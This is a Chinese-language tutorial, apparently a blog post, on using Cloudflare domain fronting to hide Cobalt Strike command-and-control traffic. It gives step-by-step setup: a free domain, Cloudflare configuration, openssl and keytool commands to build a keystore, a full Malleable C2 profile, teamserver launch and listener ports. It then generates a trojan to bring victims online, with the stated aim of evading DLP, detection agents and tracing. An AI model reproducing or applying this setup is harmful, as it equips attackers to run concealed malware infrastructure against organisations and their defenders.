介绍
域前置简介
域前置(Domain Fronting)基于HTTPS通用规避技术,也被称为域前端网络攻击技术。
这是一种用来隐藏Metasploit、Cobalt Strike等团队控制服务器流量,以此来一定程度绕过检查器或防火墙检测的技术,如Amazon、Google、Akamai等大型厂商会提供一些域前端技术服务。
域前置技术原理(CDN分发)
通过CDN节点将流量转发到真实的C2服务器,其中CDN节点IP通过识别请求的HOST头进行流量转发,利用我们配置域名的高可信度,如我们可以设置一个微软的子域名,可以有效的躲避DLP、agent等流量检测。
工作原理(也就是CDN工作原理)
域前置的核心是CDN
CDN工作原理:
同一个IP可以被不同的域名进行绑定加速,再通过HTTP请求包头里的HOST域名来确定访问哪一个。
开启加密之路
域名一个,vps一台==>c2服务器
(都可以不用国内的,怕被溯源)
1. 免费的国外域名:
去freenom申请个免费的顶级域名:
https://www.freenom.com/zh/index.html?lang=zh
2. cloudflare添加站点:
https://dash.cloudflare.com/
(1)选免费->继续->确认
(2)左边点DNS->记录->添加记录
(3)添加两条
3. 回到freenom:
(1)mamage domain->nameservers->第二个选项->填cloudflare的ns值->保存
(2)之后会给你的邮箱发个修改成功
4. cloudflare左边选择SSL:
(1)改为灵活,因为完全在国内会非常慢
(2)点客户端证书->创建
(3)选择ECC->创建证书
(4)记下证书和密钥
(5)左边缓存->配置->开发者勾上
(6)左边规则->添加两个规则->选择缓存级别->选择绕过->保存
websql.tk/*
*.websql.tk/*
5. 一切稳妥以后来ping看看:
可以看到我们的真实ip已经被隐藏了
6. 去到服务端操作:
(1)建议先去kali操作,然后再沾到vps上
(2)创建server.pem,粘贴刚刚保存的证书
(3)创建server.key,粘贴刚刚保存的私钥
(4)生成c2证书
openssl pkcs12 -export -in server.pem -inkey server.key -out cfcert.p12 -name cloudflare_cert -passout pass:yftk123
(5)创建一个store
keytool -importkeystore -deststorepass yftk123 -destkeypass yftk123 -destkeystore cfcert.store -srckeystore cfcert.p12 -srcstoretype PKCS12 -srcstorepass yftk123 -alias cloudflare_cert
ps:这里的所有密码都要和上面的一致
(6)创建修改保存c2配置文件cdn.profile
https-certificate {
set keystore "cfcert.store";
set password "yftk123";
}
http-config {
header "Content-Type" "application";
}
http-stager {
set uri_x86 "/api/1";
set uri_x64 "/api/2";
client {
header "Host" "websql.tk";}
server {
output{
print;
}
}
}
http-get {
set uri "/api/3";
client {
header "Host" "websql.tk";
metadata {
base64;
header "Cookie";
}
}
server {
output{
print;
}
}
}
http-post {
set uri "/api/4";
client {
header "Host" "websql.tk";
id {
uri-append;
}
output{
print;
}
}
server {
output{
print;
}
}
}
(7)最终得到两个配套文件,然后就可以拖到vps上了
(8)记得加上可执行权限
(9)检查一下配置有没有错
./c2lint cdn.profile
7. 启动服务,修改默认端口,并记得vps开放防火墙端口:
(1)服务端启动
./teamserver vpsip yftk123 cdn.profile
(2)客户端启动
(3)配置监听器
填写刚刚申请的域名,记得开放监听的端口
注意 http port 端口只能设置成以下几个:
80,8080,8880,2052,2082,2086,2095
如果是 https 的监听端口只能设置成以下几个:
443,2053,2083,2087,2096,8443;
国内服务器没有备案,不能使用80、8080、443、8443端口提供服务。创建listener时要避开这些端口。
(4)生成木马上线
(5)可以看到
完美
后持续更新反弹shell加密MSF流量加密CS生成证书是配置profile进行加密CS域前置加密(免备案版)
CS域前置加密(国内备案版)
腾讯云函数
......